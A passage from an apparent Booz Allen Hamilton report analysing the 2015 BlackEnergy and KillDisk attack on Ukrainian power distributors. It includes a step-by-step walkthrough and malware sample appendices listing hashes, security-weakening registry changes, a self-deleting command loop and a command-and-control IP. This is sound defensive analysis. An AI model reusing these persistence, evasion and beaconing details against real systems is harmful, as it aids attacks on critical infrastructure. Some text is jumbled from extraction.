+and Analysis Capabilities. Booz Allen +recognizes that the best way to secure your OT +and ICS environment is to ensure security is +embedded into the system +s architecture. We +provide technical leadership to architect and +secure the control environment from the risks +associated with cyber threats. We look at data +flows, process interactions, different plant +systems, and remote access and third-party +access needs to create an architecture to +support operational needs and protect critical +assets. Our team of process and industrial +systems engineers, using industry requirements and operational characteristics, will +organize system components into a series of +protective levels to allow secure exchange of +information between systems that need it +while at the same time protecting core +industrial processes. +boozallen.com/ics +For More Information +BRAD MEDAIRY +Senior Vice President +medairy_brad@bah.com ++1-703-902-5948 +SCOT T STABLES +Chief Cyber Technologist +stables_scott@bah.com ++1-630-776-7701 +MAT T THURSTON +Lead Associate +thurston_matthew@bah.com ++1-703-216-5259 +Booz Allen Hamilton +++ ICS Monitoring (Powered by Splunk). +Leveraging our intelligence community work +and our commercial Cyber Fusion Center +offering, we help clients implement an +end-to-end ICS monitoring solution that +(1) instruments critical processes and data, +(2) presents an operational dashboard that +provides situational awareness of security and +ICS-related events, (3) actively hunts for +adversary and malicious activity across the +OT network. Our solution can be deployed not +only to detect, flag, and manage OT incidents, +but also provides insights into the plant +security, safety, reliability, and performance +using advanced analytics. +++ Industrial Incident Response (IR). We work +with clients to determine whether their OT IR +strategy is sufficient to navigate a breach, +developing a customized plan so you are ready +to respond when a breach occurs. It covers the +entire OT environment +from plant manager, +chief information security officer, and operators +to legal, HR, and communications +to clarify +and test roles and procedures. If you think +ve been breached, our incident response +team can be on the ground within 12 hours, +bringing the experience, technical expertise, and +equipment to eradicate bad actors from your +critical operations network and shield your +organization +s most valuable assets. +++ Security Programs, Training, and Awareness. +We can provide the expertise to establish +comprehensive training and awareness +programs and to implement an overall security +management framework. We provide leadership in creating and implementing end-to-end +security management programs covering risk +assessment, architecture and threat mitigation, +and ongoing compliance and monitoring +programs. As part of our training and awareness programs, we can create a training +curriculum and communications plan targeted +at education OT, ICS risk, and overall impact. +Booz Allen +s solutions are not driven by +cyber +for cyber +s sake + but are focused on protecting +your core operational functions; improving safety, +reliability, and process integrity; and supporting +regulatory compliance. Our differentiated +position allows you to become safer and more +secure +and able to compete in a challenging +business and operational landscape. +APPENDIX A: +Detailed Textual Description of +Attack Walk Through +This section is included to provide a more detailed +textual summary of each of the steps outlined in +the Attack Walk Through section of the report. +This includes citations for all referenced sources +and discussion of the analyst assessments behind +each step. +RECONNAISSANCE +STEP 1: RECONNAISSANCE AND +INTELLIGENCE GATHERING +It is currently unknown why the particular three +power distribution companies were targeted, +though reconnaissance and intelligence +gathering were likely used by threat actors to +identify targets. Threat actors may select +several potential targets based on their strategic +objectives, then use initial reconnaissance on +these targets to narrow their focus and build +their plan of attack. Reconnaissance can be +conducted actively or passively. Active +reconnaissance includes direct interactions with +the targeted network, such as port scanning, +whereas passive reconnaissance includes +activities such as open-source intelligence +gathering. Open-source intelligence gathering +can also provide key situational information +about the types of technologies deployed by +potential targets, associated vulnerabilities, and +possible attack vectors available to threat actors. +Valuable targeting data, such as information on +the type and kilo-voltage of hardware deployed +at substations, specific model information on +devices used in operator +s control environment,75,76,77,78 and likely types of operating +systems used at workstations in the control +environment,79 is available on publicly +accessible websites. +WEAPONIZATION +STEP 2: MALWARE DEVELOPMENT +AND WEAPONIZATION +To gain unauthorized network access, attackers +may target vulnerabilities in web-facing infrastructure, or develop weaponized files to deliver +to users on the network. In taking a weaponization approach, attackers modify common file +types, such as .pdf or .doc files, to exploit +vulnerabilities in the programs used to view +and edit the specific file type. Alternatively, the +attackers may use social engineering tactics to +encourage targeted users to enable content +such as Visual Basic (VB) macro scripts. These +weaponized files can be delivered to specific +individuals in an organization or sent to large +numbers of users, depending the level of +targeting conducted by the threat actor. +Ultimately, both techniques result in installation +of malware, which can be used as a means to +enable remote access. 80 +In the Ukraine attacks, threat actors gained access +to targeted networks using weaponized Microsoft +(MS) Office files, specifically Word and Excel, 81,82 +by embedding BlackEnergy (BE) 3 malware in VB +scripts.j The BE malware embedded in the +weaponized files was also specifically modified for +the attacks. Public reporting on BE3 samples +gathered in 2015 indicates the attackers had added +functionality to the malware to support specific, +internal proxy servers in establishing command-andcontrol (CC) connections.83,84 This indicates the +attackers had already gathered network infrastructure details prior to delivery of the updated +malware 85 and modified the malware packages +based on infrastructure at their targets. +An in-depth analysis of the weaponized file samples and recovered VBA scripts recovered for this report are provided in Appendix B. +boozallen.com/ics +DELIVERY +EXPLOITATION AND INSTALLATION +STEP 3: DELIVER REMOTE ACCESS +TROJAN (RAT) +STEP 4: INSTALL RAT +Public reporting consistently indicates that +phishing was the initial delivery method, though +the exact timeframe in which initial access was +established is not confirmed. Ukraine +s Deputy +Energy Minister stated threat actors had access no +less than six months prior to the attack.86 Other +reporting indicates the phishing campaign began +on or around March 2015 and continued through +January 20, 2016.87 This March 2015 campaign +used weaponized MS Office files to deliver +malware via phishing attacks to many Ukrainian +organizations, including the three distributors hit +in the December 2015 attacks.88 The earliest +phishing attacks using weaponized MS Office +documents to deliver BE malware against +Prykarpattyaoblenergo were observed in May 12, +2014, 89 a year and a half before the grid disruptions in December 2015. This attack also targeted +a range of Ukrainian businesses,90 including all six +of Ukraine +s railway operators managed by +Ukrzaliznytsya, + the State Administration of +Railway Transport of Ukraine.91 Each of these +phishing attacks may have been part of a broad +reconnaissance and intelligence gathering effort, +and the ultimate objective of causing a destructive +industrial control systems (ICS) attack may have +developed later on.92 In addition, while BE was the +primary malware delivered to targeted networks, +other RATs, including GCat,93 Dropbear,94 and +Kryptik95 were recovered in the investigation +following the grid disruption in December 2015.96,k +BE3 malware was embedded in malicious MS +Office files, which were sent to operators in a +wide-reaching phishing campaign. Upon delivery, +when recipients opened the weaponized documents, they were presented with an onscreen +prompt to enable the macro function for the +weaponized files to execute.97 No exploit code was +used to initially deliver BE onto targeted +networks.98 Using permissions granted by the user +when macros were enabled, the VBA script +dropped the persistent malware files on disk at +workstations of targeted employees.l +COMMAND AND CONTROL +STEP 5: ESTABLISH CC CONNECTION +The primary function of BE3 malware is to +establish a hook into targeted networks, enable +persistent, unauthorized access, and use this +access to gather intelligence on the targeted +systems. The first step in this process is establishing a connection with an external CC server. +After installation, the BE implant modifies +in-registry Internet settings and MS Internet +Explorer security settings, then uses HTTP POST +requests to contact an external CC server.m +Additional discussion of the alternate RATs observed on the electricity distributor networks is provided in Appendix D. +By analyzing the weaponized files, the step-by-step process the BE malware executed to insert itself into targeted networks is +revealed. A detailed summary of the infection routine for recovered malware samples used in the Ukraine attacks in included in +Appendix B. +Additional details on communication process are provided in Appendix B. +Booz Allen Hamilton +ACTION ON OBJECTIVES: INTERNAL +RECONNAISSANCE AND LATERAL +MOVEMENT +STEP 6: DELIVER MALWARE PLUGINS +After establishing connections to the delivered BE +implant, attackers used this access to acquire +employee credentials, allowing them to use +existing remote access services to maintain a +presence on the network.99 Specific details on how +the credentials were harvested are not publicly +reported, though analysis of the BE malware +provides some insight into the methods threat +actors may have leveraged. +One of the key features of BE is its modular nature +and ability to download plugins designed for many +different tasks.100,n Once loaded onto a targeted +system, and having established connections with +the CC server, BE3 is capable of receiving a range +of commands, including uninstall, load or unload +plugin, update DLL, download and execute +executable, download and execute a binary, or +update configuration data.101 After loading any +plugins, the BE3 implant communicates with them +internally using remote procedure calls (RPC) over +named pipes.102 The threat actors likely downloaded several plugins onto the targeted networks, +following the initial infection, and used these +plugins in several stages of the attack, including +the harvest of user credentials. +STEP 7: HARVEST CREDENTIALS +Credential harvesting was likely an iterative process +beginning with malware exfiltration then shifting to +direct interaction with deployed systems by the +attackers. Credentials can be stolen using a wide +range of the methods, such as social engineering, +keylogging, or targeting of specific applications, +such as password managers. In the Ukraine attacks, +credentials were likely collected using associated BE +plugins specifically designed for this task. The +plugins likely used to harvest credentials in the +Ukraine attack are the PS.dll plugin, designed to +harvest stored user credentials,103 SI.dll plugin, +which gathers system data and stored passwords +from a range of applications,104 and the KI.dll plugin, +which logs keystrokes.105,o In at least one instance, +attackers used their access to create additional, +unauthorized domain accounts.106 Other reporting +An in-depth discussion of BE capabilities for receiving and communicating with plugins, as well as the capabilities and functions +of identified plugins are detailed in Appendix B and Appendix C. +Additional detail on these plugins is provided in Appendix C. +boozallen.com/ics +indicates the attackers eventually gained access to +Windows domain controllers, where they gathered +credentials for the virtual private network (VPN) +used by grid operators to access the control network +remotely.107 In the attack against the Ukrainian +media outlets,p attackers used VPN to access an +administrator account then used remote desktop +protocol (RDP) service from the administrators +account to access the domain controller.108 It is +plausible that threat actors repeated this tactic +against the electricity distributors. +Once the attackers had valid credentials, the +attackers likely shifted away from this initial hook +into the network provided by the BE implant in +favor of native remote access services such as +VPN.109 The benefit of shifting away from the +network access provided by the malware, and +establishing multiple lines of communication, is +that it supports persistent access and minimizes +visibility of malicious activity.110 If any one +connection is discovered and removed, threat +actors have redundant connections, and, by using +trusted communications, threat actor activity +blends in with normal traffic of authorized users.111 +STEP 8: LATERAL MOVEMENT AND +TARGET IDENTIFICATION ON CORPORATE +NETWORK +Little information is publicly available on the lateral +movement and internal reconnaissance efforts, +though the list of targets in the final attack indicate +extensive network discovery. Targeted systems +include networked uninterruptable power supply +(UPS) devices, data center servers, a telephone +communications server, and employee workstations.112 This movement likely involved a range of +activities over a lengthy period, including gathering +Booz Allen Hamilton +of credentials, and identification of potential targets +and services to be leveraged in the attack.113 As with +the initial credential harvesting, network discovery +was likely aided with dedicated BE plugins, +specifically the VS.dll plugin. VS.dll scans for +connected network resources, attempts to retrieve +remote desktop credentials, and establishes +connections to remote systems using the MS +Sysinternals PsExec tool.114 In the attack against +Ukrainian media outlets,q anomalous use of PsExec +to enumerate and establish remote access to +networked systems was logged on administrator +workstations.115 Threat actors may have used this +same tactic two months later against the three +electricity distributors. +STEP 9: LATERAL MOVEMENT AND +TARGET IDENTIFICATION ON ICS +NETWORK +Ultimately, after gaining initial access to the +corporate network and harvesting valid user +credentials, the threat actors were able to navigate +successfully from the corporate IT network into +the control environment, hosting the human +machine interface (HMI) workstations, distributed +management system (DMS) servers, and +networked field devices. Threat actors used valid +credentials to establish at least two pathways into +the control environment; these included remote +administration tools to access operator workstations and VPN services to interact directly with the +client application for the DMS server.116 As noted +above, public reporting indicates VPN credentials +for the control environment may have been +recovered from Windows domain controllers.117 +Access to the HMI workstations and DMS +application was likely sufficient for threat actors to +The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the +attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and KillDisk. +The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the +attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and KillDisk. +enumerate all of the networked devices. Unlike +corporate networks, ICS networks often follow a +hub-and-spoke orientation, with a single, centralized control point. It is unlikely the threat actors +used the associated BE network discovery plugins +referenced above; using active discovery methods, +such as scanning, may interfere with necessary +communications or cause communication cards +to fail.118 Systems identified during this reconnaissance phase, and targeted in the final attack, +include HMI workstations, DMS servers, control +center UPS,119 serial-to-Ethernet converters, and +the substation breakers.120 +Though this attack was conducted remotely +using valid credentials, tampering with the +physical network connections to field devices, +such as RJ45 or Fiber cabling, can provide +another method to gain network access. A +mitigation strategy to prevent malicious code or +a laptop from entering the network could be +something as simple as a +sticky MAC + program, +whereby the network switch port is configured to +whitelist the unique MAC address of a specific +intelligent controller, and becomes disabled in +the event the field device gets disconnected. +Similarly, if the network includes wireless +telemetry, this could also provide an entry-point +for attackers. This risk can be mitigated using +FIPS 140-2 or similar encryption technology. +During their target selection process, threat actors +likely used their network access to familiarize +themselves with ICS configuration, interfaces, +command processes, and other operational +details of systems at each organization. Even if +threat actors are familiar with the deployed devices +and applications, often system configurations will +be customized at individual facilities based on +operator needs or preferences. Prior to the final +attack, the attackers learned how to direct the +DMS at each of the three companies, using the +existing controls and HMI displays.121 Because this +activity was likely executed on the operator +network, little forensic information on this process +was generated.122 +ACTION ON OBJECTIVES: +ATTACK PREPARATION +STEP 10: DEVELOP MALICIOUS FIRMWARE +This incident was the first instance where threat +actors developed malicious firmware update for a +specific attack.123 In conducting a firmware attack, +threat actors will push an update that will either +patch or completely replace the old firmware. This +is often done in an unauthenticated manner +without any verification that the new or updated +firmware is valid. Alternatively, in some attacks +threat actors have compromised vendor websites +and hosted weaponized firmware to be downloaded and installed by operators.124 +Typically, the system running the firmware will be +rebooted for the new firmware to be fully installed +and operational. At this point, anything malicious +that has been added to the firmware will have a +chance to execute, depending on how the code is +designed; this could be immediately upon reboot, +or may be based on some trigger. Samples of the +malicious firmware used in the Ukraine attacks +were not recovered, and specific detail on the +execution process could not be derived. +Well-resourced and highly organized groups may +also conduct testing of malware or exploit code +intended for use on targeted systems.125 Threat +actors may obtain specific ICS hardware or +boozallen.com/ics +multiple attacks,129 but analysis of recovered +samples of BE3 does not indicate any technical +link between the two malware applications. +KillDisk is a separate, standalone executable +(.exe) file used in conjunction with BE3 during +the attack. The malware was likely loaded onto +targeted networks as one of the final preparations directly prior to attackers opening the +breakers. Public reporting indicates that the +KillDisk malware may have been set as a logic +bomb when placed on targeted machines, with a +specific time delay before the destructive +functions of the malware executed.130 This would +ensure data destruction would coincide with, or +shortly follow, the attacks against breakers. +software, and configure them to match the +operator environment.126 Investigators assessed +that it is unlikely the threat actors executed the +attacks in Ukraine without some level of prior +capability testing, particularly the malicious +firmware updates.127 Given the apparent resources +and professionalism of the group, outside +observers assessed the threat actors may have +used systems of their own to confirm the +effectiveness of the modified firmware used in the +final stages of the attack.128 +STEP 11: DELIVER DATA DESTRUCTION +MALWARE +In addition to opening breakers, the threat actors +also used a data destruction malware, known as +KillDisk, at all three distributors to wreak havoc +on networked machines. Threat actors have used +both KillDisk and BE3 malware together in +Booz Allen Hamilton +The use of an internal scheduling function is +unlikely; BE has an associated data destruction +plugin, DSTR.dll, which includes an execution +time in its configuration data, but recovered +KillDisk samples did not include any such +capability. In the attack against Ukrainian media +outlets,r attackers placed KillDisk malware on a +network share and used a compromised administrator account to access domain controller +servers.131 On the domain controller servers, they +scheduled a policy for every workstation to retrieve +and execute the file following reboot.132 Public +reporting indicates that, in the attack against +electricity distributors, credentials were retrieved +from compromised domain controllers133 and that +UPS disruptions triggered KillDisk execution on +data center servers.134 Both of these claims +support the assessment that the tactic used in the +media attack was also used against the electricity +distributors. Attackers may have also used +administrator access to remotely schedule retrieval +and execution of the malware using Windows Task +Scheduler on high-priority target machines.135 This +method was also used in the Ukrainian media +The original source did not explicitly mention the target in their summary of the investigation, though the blog indicated the +attack was conducted on October 25, 2015, against a Ukrainian target, and used BE3 and Killdisk. +attack as a contingency measure to ensure the +data destruction attack would be successful +should the domain controller server crash.136 +STEP 12: SCHEDULE UPS DISRUPTION +Attacks against operators + UPS systems were +conducted against at least two of the three affected +power distributors.137 UPS outages were scheduled +using remote management interfaces,138 and +affected devices included an internal telephony +communications server at one firm and the main +data center at a second operator.139 Public reporting +also indicates the UPS outages affected two of the +control centers, disabling the ability of operators to +monitor the control network.140 In disrupting the +telephony server, the attackers severed internal +communications across the firm and with workers +at remote sites. In the attack against the data +center, the scheduled outage was entered directly +preceding the malicious interactions with the firms +substation breakers, and was set to execute several +hours following the attack.141 In this attack, public +reporting indicates that the server reboot caused by +the power disruption also triggered the disk-wiping +function of the KillDisk malware, which had been +loaded onto the systems.142 +Some UPS network management cards support +remote monitoring and control via web browser, +command line interface, or SNMP, enabling +reboot and scheduling of shutdowns.143 Details +on the specific UPS devices deployed by each of +the distributors was not found in public +reporting, so the remote access services used to +access the devices cannot be confirmed. In +addition, while the threat actors likely used valid +credentials in this attack, vulnerabilities such as +cross-site scripting have been identified in some +UPS management devices.144 +This component of the attack is not technically +complex, but it serves as an effective illustration of +the level of organization exhibited in this multifaceted attack. Two of the reported UPS disruptions +were essentially direct threat actor interactions +with two systems, using remote access, to cause +second-order effects (i.e., server backup power +loss), which triggered malware execution upon +reboot for one target, and mirrored the communication disruption (i.e., telephony denial of service +[TDoS]) of a nearly simultaneous attack against +another target. The attacks also highlight the +dependencies of computer network components +on peripheral systems, such as power supply, +HVAC, or even physical security. Vulnerabilities in +these systems may be used by threat actors as +additional means of accessing or interfering with +network devices. +ACTION ON OBJECTIVES: +EXECUTE ATTACK +STEP 13: TRIP BREAKERS +After months of clandestine access, reconnaissance, and preparation, the threat actors executed +the final step in their attack: disrupting operation +of the electrical grid itself. Using existing remote +access tools similar to RDP and Radmin,145 threat +actors took control of employee workstations +hosting the HMI and actively issued commands to +open individual breakers across the managed +substations. During the attack, users sitting at the +workstation could observe the commands being +issued but were unable to use their mouse and +keyboard to interfere with the attack.146 In some +instances, the attacks also used an existing DMS +client application to send commands to open +breakers directly to the DMS server using their +VPN access.147 The direct interactions with DMS +boozallen.com/ics +and employee workstations were conducted by +multiple threat actors, and were all conducted +within a 30-minute window148 at some point +between 15:30 and 16:30 local time.149 +Investigators noted that, prior to execution of the +final attack, the threat actors modified passwords +for some users to lock them out of the system +during recovery.150 +In all, the attackers opened breakers in at least 57 +substations. Though complete details on the +extent of the attack are not publicly available, one +of the three operators, Prykarpattyaoblenergo, +indicated that 27 of its substations were taken +offline, resulting in complete blackouts across +103 cities and partial blackouts in an additional 186 +cities.151 Kyivoblenergo indicated that seven of its +110kV substations and 23 of its 35kV substations +were taken offline, disconnecting power for +80,000 customers.152 Impacts on the infrastructure of Chernivtsioblenergo were not found in +public reporting. +STEP 14: SEVER CONNECTION TO FIELD +DEVICES +Public reporting indicates that the updates were +pushed to each of the devices within a short +period, and the firmware itself was uniform across +the targeted converters.153 With the communications between the control center and field devices +severed, even after control of the network was +restored, the breakers could not be closed +remotely and technicians had to manually close +them at each substation.154 Manually resetting the +breakers, the technicians were able to restore +power to customers within three to six hours.155 +Booz Allen Hamilton +Ultimately, neither the operator nor the manufacturer was able to restore the devices following the +malicious update, which forced operators to +replace all targeted devices.156 At least 16 substations were disconnected from the control network +using the malicious firmware updates.157 +The two converters targeted in the attack were the +Moxa UC 7408-LX-Plus and the IRZRUH2 3G.158 +While both of these devices support firmware +updates by authorized users, indicating the +attackers may have used the credentials harvested +earlier in the attack to push the malicious +updates,159 they are also both susceptible to known +vulnerabilities. +The Moxa device includes an extensive number of +vulnerabilities, and the source code itself is +publicly available; access to the source code is of +particular concern, as it would allow threat actors +to directly examine the code for vulnerabilities. +The identified Moxa firmware vulnerabilities +included arbitrary code execution160 and multiple +remote denial-of-service (DoS) vulnerabilities;161,162 +in addition, several of the fixes for the device were +incomplete, leading to follow-on vulnerabilities.163,164 Though the iRZ-RUH2 was relatively +more secure and source code for the firmware did +not appear to be publicly available, the device still +included a least one vulnerability that would allow +an authorized user to remotely update the +firmware with an unvalidated patch.165 +STEP 15: TDOS ATTACK +In an apparent attempt to block incoming +communications, threat actors also conducted a +TDoS attack against at least one operator. TDoS +attacks are similar to DoS attacks against +webservers or other data network systems; a flood +of communication traffic is used to block legitimate communications by overwhelming infrastructure bandwidth or call-center staff.166 +Public reporting indicates that directly prior to +opening breakers, one of the operators began +receiving thousands of calls at its call centers +that appeared to be coming from Moscow.167,168 +By preventing operators from receiving outage +reports, threat actors may have intended to +mask the impact of the outage and possibly +draw out recovery time. Alternatively, investigators also noted the TDoS attacks may have been +focused on blocking callers from receiving +information, in order to create greater confusion +and frustration toward the operators among their +customer base.169 +It is highly likely the TDoS attack in Ukraine was +conducted using automated tools, though specific +details regarding how the TDoS attack was +conducted are not documented in public sources. +While not as common as DoS attacks against data +networks, there are existing tools to automate the +process. Free software, including Asterisk IP PBX +and SIP call generator, can be used by attackers to +send floods of robocalls at targeted systems.170 +Similar to DoS attacks, TDoS floods can be +amplified using distributed botnets, and paid +services to launch TDoS attacks have also been +observed in criminal forums.171 Previously, TDoS +attacks have been used to target firms in the +financial sector and emergency responder call +centers in the US.172 The attacks against emergency responders were principally conducted by +criminal groups as part of extortion operations.173 +STEP 16: DISABLE CRITICAL SYSTEMS VIA +UPS OUTAGE +As noted above, the UPS disruptions were likely +scheduled in advance of the final attack on the +substation breakers. The targeted systems +included a telephone communication server and +data center servers.174 Public reporting also +indicated the disruption impacted control center +systems, though specific details on targeted +devices were not provided.175 +STEP 17: DESTROY CRITICAL SYSTEM +DATA +KillDisk was retrieved and executed on networked +devices at all three distributors.176 The malware +overwrote the master boot record (MBR), and in +some instances continued to overwrite additional +data on disk. Several variants of KillDisk malware +were used in the attack; execution routine and +extent of data destruction varied.s Affected +machines were rendered completely inoperable, +adding an additional burden on incident +responders and ultimately driving up recovery +costs to replace targeted devices. +Disk-wiping attacks were not executed against all +network devices. Targets were primarily on +operators + enterprise networks, particularly servers +and hosts used by management, human resources, +and finance staff, though the attackers also +destroyed at least one remote terminal unit (RTU) +with an embedded windows HMI card.177 +An in depth analysis of each of the recovered Killdisk samples is provided in Appendix B, including assessments of key variations +between execution routines. +boozallen.com/ics +APPENDIX B: +Malware Samples +The malware samples analyzed for this report can +be categorized into four distinct groups. These +groups include: + Weaponized files used to deliver malware to +targeted systems + Malicious scripts embedded in the weaponized +files used to install a persistent implant + Persistent implants used to provide remote +access onto the network + Additional destructive malware, specifically the +KillDisk malware, used to overwrite data during +the final stages of the attack. +Samples from each of these categories are +detailed in the following sections. Though +predominantly BlackEnergy (BE) samples, a +weaponized version of Dropbear server, and an +associated Visual Basic (VB) dropper are also +detailed. Multiple samples of the KillDisk malware +were analyzed for this report. Samples analyzed +for this report were gathered using the Virus Total +Intelligence (VTI) service. The +First Upload, +Final Modification, +Language Settings, + and +File Name + data in the malware analysis tables +were gathered from the VTI summary for the +reported sample. +Booz Allen Hamilton +DELIVERY MALWARE +Most public reporting on the December 2015 +attacks indicate that the malware was initially +delivered to targeted networks using weaponized +Microsoft (MS) Office documents. Several +recovered samples indicate attackers had some +variation in their delivery method. Recovered +samples included both a weaponized MS Excel t +file and a weaponized MS Word document. u +Samples of BE2 recovered following an attack on +a Ukrainian news outlet in October 2015178 +indicate the threat actors may have also +embedded malware in a compromised Cyberlink +PowerDVD 10 binaryv (a movie/media player) or a +file designed to look like Cyberlink PowerDVD 10 +via string analysis. This particular sample file +functioned as an installer, delivering a BE2 +implantw and encrypted configuration x file to the +targeted system. Though not definitively +conducted by the same group behind the attacks +against the electricity distributors, the attack on +the Ukrainian media outlet, which was conducted +on Ukraine +s election day, shared the common +tactics, techniques, and procedures (TTP) of +using a combination of BE malware and KillDisk +malware to destroy critical data.179 +Appendix B.1: Weaponized MS Excel ( +1.xls) (MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732) +Appendix B.2: Weaponized MS Word ($RR143TB.doc) (MD5: e15b36c2e394d599a8ab352159089dd2) +Appendix B.5: BE2 Installer (Undisclosed) (MD5: 1d6d926f9287b4e4cb5bfc271a164f51) +Appendix B.11: Implant (adpu160m.sys) (MD5: e60854c96fab23f2c857dd6eb745961c) +Appendix B.12: Encrypted Configuration/On-disk-store (ieapflrt.dat) (MD5: 01215f813d3e93ed7e3fc3fe369a6cd5) +APPENDIX B.1: +WEAPONIZED MS EXCEL ( +1.XLS) y +SHA1: aa67ca4fb712374f5301d1d2bab0ac66107a4df1 +SHA-256: 052ebc9a518e5ae02bbd1bd3a5a86c3560aefc9313c18d81f6670c3430f1d4d4 +MD5: 97b7577d13cf5e3bf39cbe6d3f0a7732 +Type: Microsoft Office Excel180 +First Upload: 2015-08-03 10:37:19 181 +Compile Timestamp: +2015-02-04 07:35:08 182 +Final Modification Timestamp: +2015-03-18 07:41:04183 +File Size: 734720 bytes184 +Language Settings: Code_page is Cyrillic185 +File Names: +1.xls186 +Technical Notes: +This is a weaponized MS Excel file used to deliver BE3 malware.187 Upon opening the file, users are +prompted to enable macros. The spreadsheet includes an embedded VBA macro that executes +when users enable the macro functionality. The associated VBA macro is a BE3 installer.188 +Related Samples: +Appendix B.4: BE3 Installer (VBA_macro.exe, Sample 2) +(MD5: abeab18ebae2c3e445699d256d5f5fb1) +Appendix B.6: Dropbear Installer (DropbearRun.vbs) +(MD5: 0af5b1e8eaf5ee4bd05227bf53050770)189 +APPENDIX B.2: +WEAPONIZED MS WORD ($RR143TB.DOC) z +SHA1: 28719979d7ac8038f24ee0c15114c4a463be85fb +SHA-256: 39d04828ab0bba42a0e4cdd53fe1c04e4eef6d7b26d0008bd0d88b06cc316a81 +MD5: e15b36c2e394d599a8ab352159089dd2 +Type: Microsoft Office Word190 +First Upload: 2016-01-20 08:03:52 UTC191 +Compile Timestamp: +2015-07-27 10:21:00 192 +Final Modification Timestamp: +2015-07-27 10:21:00 193 +File Size: 1194496 bytes +Language Settings: Code_page is Cyrillic194 +File Names: $RR143TB.doc195 +Technical Notes: +This is a weaponized MS Word file, with an embedded BE3 installer.196 Upon opening the file, users +are prompted to enable macros, allowing the execution of the BE3 installer.197 Additional details on +the infection routine are provided in Appendix B.6: BE3 Installer (VBA_macro.exe, Sample 1). +Related Samples: +Appendix B.6: BE3 Installer (VBA_macro.exe, Sample 1) +(MD5: ac2d7f21c826ce0c449481f79138aebd) +A sample of this file was not recovered. The technical notes provided are based on the cited reporting. +A sample of this file was not recovered. The technical notes provided are based on the cited reporting. +boozallen.com/ics +Following delivery, users enabled macros in the +weaponized document, allowing the embedded +macros to execute. The executable calls +ENVIRON( +) and saves the file, vba_macro. +exe in the Widows TMP directory.199 Once saved to +disk, the file drops FONTCACHE.DAT (which is a +dynamic-link library file), rundll32.exe (which is the +standard utility for running .dll files on machines +with Windows operating system [OS]), NTUSER. +LOG (which is an empty file) and desktop.ini, the +default file used to determine folder displays on +windows machines.200 +MALWARE INSTALLERS +In an analysis of a weaponized MS Excel fileaa first +observed in August 2015 and most recently +reported in January 2015, BE3 malware was found +embedded in VB code attached as a macro title: +M 609230 +_VBA_PROJECT_CUR/VBA/ +Workbook________ +.198 By using weaponized +macros as the attack vector, the threat actors were +reliant on users actively enabling macros before +they could execute. Samples of the malicious VBA +scripts recovered are detailed in Appendix B.3 and +Appendix B.4. +Booz Allen Hamilton +FONTCACHE.DAT serves as the primary BE3 +implant, and as noted above, some observed +samples have been packed with the tElock packer. +FONTCACHE.DAT is dropped into the local +application data folder, and a .lnk file is created in +the startup folder, which functions as a shortcut to +execute using rundll32.exe.201 The .lnk file name is +generated off the volume serial number.ab,202,203 +Following delivery of FONTCACHE.DAT, and the +associated .lnk file, the original executable, +vba_macro.exe, is deleted. 204 +Analysis details for this sample provided in Appendix B.1. +An example path for the .lnk file would be: C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\ +Startup\{9980061D-64BB-46BC-8AC6-D9AC3DB67577}.lnk +APPENDIX B.3: +BE3 INSTALLER (VBA_MACRO.EXE, SAMPLE 1) +SHA1: 4184888c26778f5596d6e8d83624512ed2f045dd +SHA-256: ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525 +MD5: ac2d7f21c826ce0c449481f79138aebd +Type: Win32 Executable 205 +First Upload: 2016-01-29 01:59:28 UTC 206 +Compile Timestamp: +1979-01-28 00:25:53 207 +Final Modification Timestamp: +Undisclosed +File Size: 110592 bytes208 +Language Settings: Japanese 209 +File Names:210 +CPLEXE.EXE (original name) +MS-IME (Internal Name) +virus_04.exe +vba_macro.exe +Technical Notes: +At execution: +1. The installer drops a .dll file at C:\Documents and Settings\useradm\Local Settings\ +Application Data\FONTCACHE.DAT (size 56,832) +2. And installs persistence: +a. C:\Documents and Settings\useradm\Start Menu\Programs\Startup\{C323A392-5BB047D5-9518-E60202A85B5C}.lnk (size 1,682) +3. Weakens Internet settings in registry to lower Internet security: +a. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ +ProxyBypass +(sets to 1) +b. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ +IntranetName +(sets to 1) +c. HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ +UNCAsIntranet +(sets to 1) +4. It launches (in this case PID: 936) Command line: +C:\WINDOWS\system32\rundll32.exe +C:\Documents and Settings\useradm\Local Settings\Application Data\FONTCACHE. +a. Further weakening Internet Explorer settings: +HKCU\Software\Microsoft\Internet Explorer\PhishingFilter\Enabled +(sets to 0) +ii. HKCU\Software\Microsoft\Internet Explorer\Recovery\NoReopenLastSession (sets to +iii. HKCU\Software\Microsoft\Internet Explorer\Main\NoProtectedModeBanner (sets to +iv. [Amongst some other I.E. settings] +b. And loads BE into +svchost.exe -DcomLaunch +boozallen.com/ics +5. It then launches (in this case PID: 1804) Command line: /s /c +for /L %i in (1,1,100) do (attrib +C:\DOCUME~1\useradm\Desktop\CA7A81~1.EXE + & del /A:h /F +C:\DOCUME~1\ +useradm\Desktop\CA7A81~1.EXE + & ping localhost -n 2 & if not exist +C:\Documents and +Settings\useradm\Local Settings\Application Data\FONTCACHE.DAT + Exit 1) +a. This self deletes it +s installer +svchost.exe -DcomLaunch + launches iexplorer.exe +C:\Program Files\Internet Explorer\iexplore.exe + -Embedding +which beacons to 5.149.254.114:80 +This sample differs only slightly from Sample 2 (MD5:abeab18ebae2c3e445699d256d5f5fb1), in that +this sample (MD5:ac2d7f21c826ce0c449481f79138aebd) has a rundll32.exe that remains visible in +the process list on the victim throughout the initial infection and following every reboot. The +following sample does not have this indicator of compromise, as the rundll32 process is only visible +for a short period following the initial infection. +Related Samples: +Appendix B.7: BE3 Implant (Fontcache.dat, Sample 1) +(MD5: 3fa9130c9ec44e36e52142f3688313ff) +Appendix B.9: BE3 Implant (.LNK Persistence Mechanism, Sample 1) +(MD5: 40c74556c36fa14664d9059ad05ca9d3) +APPENDIX B.4: +BE3 INSTALLER (VBA_MACRO.EXE, SAMPLE 2) +SHA1: 4c424d5c8cfedf8d2164b9f833f7c631f94c5a4c +SHA-256: 07e726b21e27eefb2b2887945aa8bdec116b09dbd4e1a54e1c137ae8c7693660 +MD5: abeab18ebae2c3e445699d256d5f5fb1 